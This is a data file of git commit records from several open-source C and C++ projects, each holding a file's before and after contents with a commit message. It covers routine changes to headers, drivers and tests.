{"commit":"83b72ec023f2c1f1f0cdd4b000e5f084d913fb7f","old_file":"t\/my_cons.h","new_file":"t\/my_cons.h","old_contents":"\/*\n  SMAL\n  Copyright (c) 2011 Kurt A. Stephens\n*\/\n\n#include \"smal\/smal.h\"\n#include \"smal\/thread.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h> \/* memset() *\/\n#include <unistd.h> \/* getpid() *\/\n#include <assert.h>\n\ntypedef void *my_oop;\ntypedef struct my_cons {\n  my_oop car, cdr;\n} my_cons;\n\nstatic smal_type *my_cons_type;\n\nstatic void * my_cons_mark (void *ptr)\n{\n#if 0\n  smal_mark_ptr_n(ptr, 2, (void**) &((my_cons *) ptr)->car);\n  return 0;\n#else\n  smal_mark_ptr(ptr, ((my_cons *) ptr)->car);\n  return ((my_cons *) ptr)->cdr;\n#endif\n}\n\nvoid my_print_stats()\n{\n  smal_stats stats = { 0 };\n  int i;\n\n  smal_global_stats(&stats);\n  for ( i = 0; smal_stats_names[i]; ++ i ) {\n    fprintf(stdout, \"  %16lu %s\\n\", (unsigned long) (((size_t*) &stats)[i]), smal_stats_names[i]);\n  }\n  fprintf(stderr, \"\\n\");\n}\n\n","new_contents":"\/*\n  SMAL\n  Copyright (c) 2011 Kurt A. Stephens\n*\/\n\n#include \"smal\/smal.h\"\n#include \"smal\/thread.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h> \/* memset() *\/\n#include <unistd.h> \/* getpid() *\/\n#include <assert.h>\n\ntypedef void *my_oop;\ntypedef struct my_cons {\n  my_oop car, cdr;\n} my_cons;\n\nstatic smal_type *my_cons_type;\n\nstatic void * my_cons_mark (void *ptr)\n{\n  smal_mark_ptr(ptr, ((my_cons *) ptr)->car);\n  return ((my_cons *) ptr)->cdr;\n}\n\nvoid my_print_stats()\n{\n  smal_stats stats = { 0 };\n  int i;\n\n  smal_global_stats(&stats);\n  for ( i = 0; smal_stats_names[i]; ++ i ) {\n    fprintf(stdout, \"  %16lu %s\\n\", (unsigned long) (((size_t*) &stats)[i]), smal_stats_names[i]);\n  }\n  fprintf(stderr, \"\\n\");\n}\n\n","subject":"Return cdr for mark continuation.","message":"Return cdr for mark continuation.\n","lang":"C","license":"mit","repos":"kstephens\/smal,kstephens\/smal,kstephens\/smal"}
{"commit":"409c411a09aae60b6011da0c2fca025f76a5d19f","old_file":"csrc\/uname.c","new_file":"csrc\/uname.c","old_contents":"#include <sys\/utsname.h>\n#include <wchar.h>\n#include <stdlib.h>\n\n#define OS_VERSION_MAX_SIZE 128\n\n\nwchar_t* getOS() {\n  struct utsname system_info;\n  if (uname(&system_info) != 0) return NULL;\n\n  wchar_t* os = malloc(sizeof(os) * OS_VERSION_MAX_SIZE);\n#ifdef __APPLE__\n  int version = atoi(system_info.release);\n\n  \/\/ Since Darwin 5.1 (released 2001), Darwin xx corresponds to Mac OS X 10.(xx - 4)\n  const wchar_t* format;\n  if (version < 5) {\n    format = L\"Mac OS X\";\n  } else {\n    format = L\"Mac OS X 10.%d\";\n  }\n\n  if (swprintf(os, OS_VERSION_MAX_SIZE, format, version - 4) == -1) {\n#else\n  if (swprintf(os, OS_VERSION_MAX_SIZE, L\"%s %s\", system_info.sysname, system_info.release) == -1) {\n#endif\n    free(os);\n    os = NULL;\n  }\n  return os;\n}\n","new_contents":"#include <sys\/utsname.h>\n#include <wchar.h>\n#include <stdlib.h>\n\n#define OS_VERSION_MAX_SIZE 128\n\n\nwchar_t* getOS() {\n  struct utsname system_info;\n  if (uname(&system_info) != 0) return NULL;\n\n  wchar_t* os = malloc(sizeof(os) * OS_VERSION_MAX_SIZE);\n#ifdef __APPLE__\n  int major_version = atoi(system_info.release);\n  int minor_version = atoi(system_info.release + 3);\n\n  \/\/ Since Darwin 5.1 (released 2001), Darwin xx corresponds to Mac OS X 10.(xx - 4)\n  \/\/ Since Darwin 20.1 (released 2020), Darwin xx.yy corresponds to Mac OS X (xx - 9).(yy - 1)\n  const wchar_t* format;\n  if (major_version < 5) {\n    format = L\"Mac OS X\";\n  } else if (major_version < 20) {\n    format = L\"Mac OS X %d.%d\";\n    minor_version = major_version - 4;\n    major_version = 10;\n  } else {\n    format = L\"Mac OS X %d.%d\";\n    minor_version = minor_version - 1;\n    major_version = major_version - 9;\n  }\n\n  if (swprintf(os, OS_VERSION_MAX_SIZE, format, major_version, minor_version) == -1) {\n#else\n  if (swprintf(os, OS_VERSION_MAX_SIZE, L\"%s %s\", system_info.sysname, system_info.release) == -1) {\n#endif\n    free(os);\n    os = NULL;\n  }\n  return os;\n}\n","subject":"Update the versioning for macOS Big Sur","message":"Update the versioning for macOS Big Sur\n","lang":"C","license":"mit","repos":"ChaosGroup\/system-info"}
{"commit":"1f45c183f1eb11cb6496d5deb89a2d05d314e754","old_file":"src\/cpu\/register.h","new_file":"src\/cpu\/register.h","old_contents":"#ifndef EMULATOR_REGISTER_H\n#define EMULATOR_REGISTER_H\n\n#include <cstdint>\n\ntemplate <typename T>\nclass Register {\npublic:\n    Register() {};\n\n    void set(const T new_value) { val = new_value; };\n    T value() const { return val; };\n\n    void increment() { val += 1; };\n    void decrement() { val -= 1; };\n\nprivate:\n    T val;\n};\n\ntypedef Register<uint8_t> ByteRegister;\ntypedef Register<uint16_t> WordRegister;\n\nclass RegisterPair {\npublic:\n    RegisterPair(ByteRegister& low, ByteRegister& high);\n\n    void set_low(const uint8_t byte);\n    void set_high(const uint8_t byte);\n\n    void set_low(const ByteRegister& byte);\n    void set_high(const ByteRegister& byte);\n\n    void set(const uint16_t word);\n\n    uint8_t low() const;\n    uint8_t high() const;\n\n    uint16_t value() const;\n\n    void increment();\n    void decrement();\n\nprivate:\n    ByteRegister& low_byte;\n    ByteRegister& high_byte;\n};\n\nclass Offset {\npublic:\n    Offset(uint8_t val) : val(val) {};\n    Offset(ByteRegister& reg) : val(reg.value()) {};\n\n    uint8_t value() { return val; }\n\nprivate:\n    uint8_t val;\n};\n\n#endif\n","new_contents":"#ifndef EMULATOR_REGISTER_H\n#define EMULATOR_REGISTER_H\n\n#include <cstdint>\n\ntemplate <typename T>\nclass Register {\npublic:\n    Register() {};\n\n    void set(const T new_value) { val = new_value; };\n    T value() const { return val; };\n\n    void increment() { val += 1; };\n    void decrement() { val -= 1; };\n\nprivate:\n    T val;\n};\n\nusing ByteRegister = Register<uint8_t>;\nusing WordRegister = Register<uint16_t>;\n\nclass RegisterPair {\npublic:\n    RegisterPair(ByteRegister& low, ByteRegister& high);\n\n    void set_low(const uint8_t byte);\n    void set_high(const uint8_t byte);\n\n    void set_low(const ByteRegister& byte);\n    void set_high(const ByteRegister& byte);\n\n    void set(const uint16_t word);\n\n    uint8_t low() const;\n    uint8_t high() const;\n\n    uint16_t value() const;\n\n    void increment();\n    void decrement();\n\nprivate:\n    ByteRegister& low_byte;\n    ByteRegister& high_byte;\n};\n\nclass Offset {\npublic:\n    Offset(uint8_t val) : val(val) {};\n    Offset(ByteRegister& reg) : val(reg.value()) {};\n\n    uint8_t value() { return val; }\n\nprivate:\n    uint8_t val;\n};\n\n#endif\n","subject":"Convert to 'using' syntax for type aliases","message":"Convert to 'using' syntax for type aliases\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"1e77c60bc8374947012a73eab0fdfb90df804184","old_file":"src\/byteswap.c","new_file":"src\/byteswap.c","old_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#include \"config.h\"\n\n#if !defined(HAVE_HTONLL) && !defined(WORDS_BIGENDIAN)\nuint64_t couchstore_byteswap64(uint64_t val)\n{\n    size_t ii;\n    uint64_t ret = 0;\n    for (ii = 0; ii < sizeof(uint64_t); ii++) {\n        ret <<= 8;\n        ret |= val & 0xff;\n        val >>= 8;\n    }\n    return ret;\n}\n#endif\n","new_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#include \"config.h\"\n\n#if !defined(HAVE_HTONLL) && !defined(WORDS_BIGENDIAN)\nuint64_t couchstore_byteswap64(uint64_t val)\n{\n    size_t ii;\n    uint64_t ret = 0;\n    for (ii = 0; ii < sizeof(uint64_t); ii++) {\n        ret <<= 8;\n        ret |= val & 0xff;\n        val >>= 8;\n    }\n    return ret;\n}\n#elif defined(__GNUC__)\n\/\/ solaris boxes contains a ntohll\/htonll method, but\n\/\/ it seems like the gnu linker doesn't like to use\n\/\/ an archive without _any_ symbols in it ;)\nint unreferenced_symbol_to_satisfy_the_linker;\n#endif\n","subject":"Add a small hack to satisfy build with gcc on smartos64","message":"Add a small hack to satisfy build with gcc on smartos64\n\nSolaris boxes contains a ntohll\/htonll method, but\nit seems like the gnu linker doesn't like to use\nan archive without _any_ symbols in it ;)\n\nChange-Id: Id3b3ae5ad055ed50a10e8e514b8266f659fb92c3\nReviewed-on: http:\/\/review.couchbase.org\/15737\nReviewed-by: Jens Alfke <21e2afd93d5ce53123476032b5dca8a79b546094@couchbase.com>\nTested-by: Jens Alfke <21e2afd93d5ce53123476032b5dca8a79b546094@couchbase.com>\n","lang":"C","license":"apache-2.0","repos":"vmx\/couchstore,couchbaselabs\/couchstore-specials,couchbaselabs\/couchstore,jimwwalker\/couchstore,couchbaselabs\/couchstore-specials,hsharsha\/couchstore,abhinavdangeti\/couchstore,t3rm1n4l\/couchstore,couchbaselabs\/couchstore-specials,couchbaselabs\/couchstore,jimwwalker\/couchstore,couchbaselabs\/couchstore-specials,abhinavdangeti\/couchstore,vmx\/couchstore,couchbaselabs\/couchstore-specials,hsharsha\/couchstore,t3rm1n4l\/couchstore,hsharsha\/couchstore,couchbaselabs\/couchstore,jimwwalker\/couchstore,t3rm1n4l\/couchstore,vmx\/couchstore,abhinavdangeti\/couchstore,hsharsha\/couchstore"}
{"commit":"d0593d880573052e6ae2790328a336a6a9865cc3","old_file":"src\/CPlusPlusMangle.h","new_file":"src\/CPlusPlusMangle.h","old_contents":"#ifndef HALIDE_CPLUSPLUS_MANGLE_H\n#define HALIDE_CPLUSPLUS_MANGLE_H\n\n\/** \\file\n *\n * A simple function to get a C++ mangled function name for a function.\n *\/\n\n#include <string>\n#include \"IR.h\"\n#include \"Target.h\"\n\nnamespace Halide {\nnamespace Internal {\n\n\/** Return the mangled C++ name for a function.\n * The target parameter is used to decide on the C++\n * ABI\/mangling style to use.\n *\/\nstd::string cplusplus_function_mangled_name(const std::string &name, const std::vector<std::string> &namespaces,\n                                            Type return_type, const std::vector<ExternFuncArgument> &args,\n                                            const Target &target);\n\nvoid cplusplus_mangle_test();\n\n}\n\n}\n\n#endif\n","new_contents":"#ifndef HALIDE_CPLUSPLUS_MANGLE_H\n#define HALIDE_CPLUSPLUS_MANGLE_H\n\n\/** \\file\n *\n * A simple function to get a C++ mangled function name for a function.\n *\/\n\n#include <string>\n#include \"IR.h\"\n#include \"Target.h\"\n\nnamespace Halide {\nnamespace Internal {\n\n\/** Return the mangled C++ name for a function.\n * The target parameter is used to decide on the C++\n * ABI\/mangling style to use.\n *\/\nEXPORT std::string cplusplus_function_mangled_name(const std::string &name, const std::vector<std::string> &namespaces,\n                                                   Type return_type, const std::vector<ExternFuncArgument> &args,\n                                                   const Target &target);\n\nEXPORT void cplusplus_mangle_test();\n\n}\n\n}\n\n#endif\n","subject":"Add some EXPORT qualifiers for msvc","message":"Add some EXPORT qualifiers for msvc\n","lang":"C","license":"mit","repos":"kgnk\/Halide,psuriana\/Halide,ronen\/Halide,ronen\/Halide,tdenniston\/Halide,tdenniston\/Halide,ronen\/Halide,ronen\/Halide,kgnk\/Halide,jiawen\/Halide,jiawen\/Halide,jiawen\/Halide,psuriana\/Halide,jiawen\/Halide,ronen\/Halide,jiawen\/Halide,psuriana\/Halide,ronen\/Halide,psuriana\/Halide,psuriana\/Halide,psuriana\/Halide,ronen\/Halide,jiawen\/Halide,kgnk\/Halide,tdenniston\/Halide,kgnk\/Halide,psuriana\/Halide,kgnk\/Halide,tdenniston\/Halide,tdenniston\/Halide,ronen\/Halide,tdenniston\/Halide,kgnk\/Halide,kgnk\/Halide,tdenniston\/Halide,jiawen\/Halide,kgnk\/Halide,tdenniston\/Halide"}
{"commit":"edabbb718abb7539a05b9eebc453feec695746c0","old_file":"schedule\/schedule_stop.c","new_file":"schedule\/schedule_stop.c","old_contents":"\/* * \n *  This file is part of Feng\n * \n * Copyright (C) 2007 by LScube team <team@streaming.polito.it> \n * See AUTHORS for more details \n *  \n * Feng is free software; you can redistribute it and\/or \n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2 of\n * the License, or (at your option) any later version.\n * \n * Feng is distributed in the hope that it will be useful, \n * but WITHOUT ANY WARRANTY; without even the implied warranty of \n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU \n * General Public License for more details. \n * \n * You should have received a copy of the GNU General Public License\n * along with Feng; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *  \n * *\/\n\n#include <fenice\/schedule.h>\n#include <fenice\/rtp.h>\n#include <fenice\/rtcp.h>\n\nextern schedule_list sched[ONE_FORK_MAX_CONNECTION];\n\nvoid schedule_stop(int id)\n{\n    RTCP_send_packet(sched[id].rtp_session,SR);\n    RTCP_send_packet(sched[id].rtp_session,BYE);\n\n    sched[id].rtp_session->pause=1;\n\n    sched[id].rtp_session->started=0;\n    \/\/sched[id].rtsp_session->cur_state=READY_STATE;\n}\n","new_contents":"\/* * \n *  This file is part of Feng\n * \n * Copyright (C) 2007 by LScube team <team@streaming.polito.it> \n * See AUTHORS for more details \n *  \n * Feng is free software; you can redistribute it and\/or \n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2 of\n * the License, or (at your option) any later version.\n * \n * Feng is distributed in the hope that it will be useful, \n * but WITHOUT ANY WARRANTY; without even the implied warranty of \n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU \n * General Public License for more details. \n * \n * You should have received a copy of the GNU General Public License\n * along with Feng; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *  \n * *\/\n\n#include <fenice\/schedule.h>\n#include <fenice\/rtp.h>\n#include <fenice\/rtcp.h>\n\nextern schedule_list sched[ONE_FORK_MAX_CONNECTION];\n\nvoid schedule_stop(int id)\n{\n    RTCP_send_packet(sched[id].rtp_session,SR);\n    RTCP_send_packet(sched[id].rtp_session,BYE);\n    RTCP_flush(sched[id].session);\n\n    sched[id].rtp_session->pause=1;\n\n    sched[id].rtp_session->started=0;\n    \/\/sched[id].rtsp_session->cur_state=READY_STATE;\n}\n","subject":"Make sure the rtcp BYE gets sent","message":"Make sure the rtcp BYE gets sent\n","lang":"C","license":"lgpl-2.1","repos":"winlinvip\/feng,lscube\/feng,lscube\/feng,winlinvip\/feng,winlinvip\/feng,lscube\/feng"}
{"commit":"1a8f66919b91e6892ed446276e601ce9efac08e7","old_file":"AsyncDisplayKitTests\/ASSnapshotTestCase.h","new_file":"AsyncDisplayKitTests\/ASSnapshotTestCase.h","old_contents":"\/* Copyright (c) 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#import <FBSnapshotTestCase\/FBSnapshotTestCase.h>\n\n#import <AsyncDisplayKit\/ASDisplayNode.h>\n\n#define ASSnapshotVerifyNode(node__, identifier__) \\\n{ \\\n  [ASSnapshotTestCase hackilySynchronouslyRecursivelyRenderNode:node__]; \\\n  FBSnapshotVerifyLayer(node__.layer, identifier__); \\\n}\n\n@interface ASSnapshotTestCase : FBSnapshotTestCase\n\n\/**\n * Hack for testing.  ASDisplayNode lacks an explicit -render method, so we manually hit its layout & display codepaths.\n *\/\n+ (void)hackilySynchronouslyRecursivelyRenderNode:(ASDisplayNode *)node;\n\n@end\n","new_contents":"\/* Copyright (c) 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\/\n\n#import <FBSnapshotTestCase\/FBSnapshotTestCase.h>\n\n#import <AsyncDisplayKit\/ASDisplayNode.h>\n\n#define ASSnapshotVerifyNode(node__, identifier__) \\\n{ \\\n  [ASSnapshotTestCase hackilySynchronouslyRecursivelyRenderNode:node__]; \\\n  FBSnapshotVerifyLayer(node__.layer, identifier__); \\\n  [node__ setShouldRasterizeDescendants:YES]; \\\n  [ASSnapshotTestCase hackilySynchronouslyRecursivelyRenderNode:node__]; \\\n  FBSnapshotVerifyLayer(node__.layer, identifier__); \\\n  [node__ setShouldRasterizeDescendants:NO]; \\\n  [ASSnapshotTestCase hackilySynchronouslyRecursivelyRenderNode:node__]; \\\n  FBSnapshotVerifyLayer(node__.layer, identifier__); \\\n}\n\n@interface ASSnapshotTestCase : FBSnapshotTestCase\n\n\/**\n * Hack for testing.  ASDisplayNode lacks an explicit -render method, so we manually hit its layout & display codepaths.\n *\/\n+ (void)hackilySynchronouslyRecursivelyRenderNode:(ASDisplayNode *)node;\n\n@end\n","subject":"Add tests for enabling \/ disabling shouldRasterize","message":"Add tests for enabling \/ disabling shouldRasterize\n","lang":"C","license":"bsd-3-clause","repos":"rcancro\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,rmls\/AsyncDisplayKit,rcancro\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,rcancro\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,samhsiung\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,marmelroy\/AsyncDisplayKit,marmelroy\/AsyncDisplayKit,levi\/AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,levi\/AsyncDisplayKit,facebook\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,rmls\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,levi\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,levi\/AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,Xinchi\/AsyncDisplayKit,programming086\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,maicki\/AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,marmelroy\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,facebook\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,maicki\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,facebook\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,paulyoung\/AsyncDisplayKit,maicki\/AsyncDisplayKit,gazreese\/AsyncDisplayKit,rcancro\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,samhsiung\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,paulyoung\/AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,maicki\/AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,rmls\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,marmelroy\/AsyncDisplayKit,Xinchi\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,facebook\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,Xinchi\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,bimawa\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,samhsiung\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,rcancro\/AsyncDisplayKit,Xinchi\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,smyrgl\/AsyncDisplayKit,bimawa\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,Teino1978-Corp\/Teino1978-Corp-AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit,lappp9\/AsyncDisplayKit,garrettmoon\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,programming086\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,smyrgl\/AsyncDisplayKit,programming086\/AsyncDisplayKit,bimawa\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,maicki\/AsyncDisplayKit,Xinchi\/AsyncDisplayKit,tomizimobile\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,paulyoung\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,jellenbogen\/AsyncDisplayKit,paulyoung\/AsyncDisplayKit,smyrgl\/AsyncDisplayKit,levi\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,paulyoung\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,eanagel\/AsyncDisplayKit,rahul-malik\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,dskatz22\/AsyncDisplayKit,RuiAAPeres\/AsyncDisplayKit,programming086\/AsyncDisplayKit,yufenglv\/AsyncDisplayKit,aaronschubert0\/AsyncDisplayKit,rmls\/AsyncDisplayKit,nivanchikov\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,gazreese\/AsyncDisplayKit,gazreese\/AsyncDisplayKit,rmls\/AsyncDisplayKit,Adlai-Holler\/AsyncDisplayKit,programming086\/AsyncDisplayKit,romyilano\/AsyncDisplayKit,nrcmedia\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,gazreese\/AsyncDisplayKit,bimawa\/AsyncDisplayKit,chrisdanford\/AsyncDisplayKit,harryworld\/AsyncDisplayKit,smyrgl\/AsyncDisplayKit,JetZou\/AsyncDisplayKit,flovouin\/AsyncDisplayKit,george-gw\/AsyncDisplayKit,samhsiung\/AsyncDisplayKit,hannahmbanana\/AsyncDisplayKit"}
{"commit":"9a167c3bfc57ef0b486584377adfc68a98021706","old_file":"hw\/drivers\/flash\/at45db\/include\/at45db\/at45db.h","new_file":"hw\/drivers\/flash\/at45db\/include\/at45db\/at45db.h","old_contents":"","new_contents":"\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n#ifndef __AT45DB_H__\n#define __AT45DB_H__\n\n#include <hal\/hal_flash_int.h>\n#include <hal\/hal_spi.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct at45db_dev {\n    struct hal_flash hal;\n    struct hal_spi_settings *settings;\n    int spi_num;\n    void *spi_cfg;                  \/** Low-level MCU SPI config *\/\n    int ss_pin;\n    uint32_t baudrate;\n    uint16_t page_size;             \/** Page size to be used, valid: 512 and 528 *\/\n    uint8_t disable_auto_erase;     \/** Reads and writes auto-erase by default *\/\n};\n\nstruct at45db_dev * at45db_default_config(void);\nint at45db_read(const struct hal_flash *dev, uint32_t addr, void *buf,\n                uint32_t len);\nint at45db_write(const struct hal_flash *dev, uint32_t addr, const void *buf,\n                 uint32_t len);\nint at45db_erase_sector(const struct hal_flash *dev, uint32_t sector_address);\nint at45db_sector_info(const struct hal_flash *dev, int idx, uint32_t *address,\n                       uint32_t *sz);\nint at45db_init(const struct hal_flash *dev);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* __AT45DB_H__ *\/\n","subject":"Add missing include for the AT45DB flash driver","message":"Add missing include for the AT45DB flash driver\n\nPR #162 which added the driver for AT45DB was missing the include\nfile.\n","lang":"C","license":"apache-2.0","repos":"andrzej-kaczmarek\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,mlaz\/mynewt-core,mlaz\/mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,IMGJulian\/incubator-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core"}
{"commit":"1b09b8a72d68109ec842581aeba2bc9cd7cbb87a","old_file":"3RVX\/Error.h","new_file":"3RVX\/Error.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <string>\n#include <unordered_map>\n\n#define GENERR  0x100\n#define SKINERR 0x200\n#define SYSERR  0x400\n\n#define GENERR_NOTFOUND            GENERR + 1\n#define GENERR_SETTINGSFILE        GENERR + 2\n#define GENERR_MISSING_XML         GENERR + 3\n\n#define SKINERR_INVALID_SKIN       SKINERR + 1\n#define SKINERR_INVALID_OSD        SKINERR + 2\n#define SKINERR_INVALID_METER      SKINERR + 3\n#define SKINERR_INVALID_SLIDER     SKINERR + 4\n#define SKINERR_INVALID_BG         SKINERR + 5\n#define SKINERR_INVALID_SLIDERTYPE SKINERR + 7\n#define SKINERR_NOTFOUND           SKINERR + 8\n#define SKINERR_MISSING_XML        SKINERR + 9\n#define SKINERR_READERR            SKINERR + 10\n\n#define SYSERR_REGISTERCLASS       SYSERR + 1\n#define SYSERR_CREATEWINDOW        SYSERR + 2\n\nclass Error {\npublic:\n    static void ErrorMessage(unsigned int error, std::wstring detail = L\"\");\n    static void ErrorMessageDie(unsigned int error, std::wstring detail = L\"\");\n\nprivate:\n    static std::unordered_map<int, std::wstring> errorMap;\n\n    static wchar_t *ErrorType(unsigned int error);\n};","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <string>\n#include <unordered_map>\n\nclass Error {\npublic:\n    static void ErrorMessage(unsigned int error, std::wstring detail = L\"\");\n    static void ErrorMessageDie(unsigned int error, std::wstring detail = L\"\");\n\nprivate:\n    static std::unordered_map<int, std::wstring> errorMap;\n\n    static wchar_t *ErrorType(unsigned int error);\n\npublic:\n    static const int GENERR = 0x100;\n    static const int SKINERR = 0x200;\n    static const int SYSERR = 0x300;\n\n    static const int GENERR_NOTFOUND = GENERR + 1;\n    static const int GENERR_MISSING_XML = GENERR + 3;\n\n    static const int SKINERR_INVALID_SKIN = SKINERR + 1;\n    static const int SKINERR_INVALID_SLIDERTYPE = SKINERR + 7;\n    static const int SKINERR_NOTFOUND = SKINERR + 8;\n    static const int SKINERR_MISSING_XML = SKINERR + 9;\n    static const int SKINERR_XMLPARSE = SKINERR + 10;\n\n    static const int SYSERR_REGISTERCLASS = SYSERR + 1;\n    static const int SYSERR_CREATEWINDOW = SYSERR + 2;\n};","subject":"Redefine error codes as consts","message":"Redefine error codes as consts\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
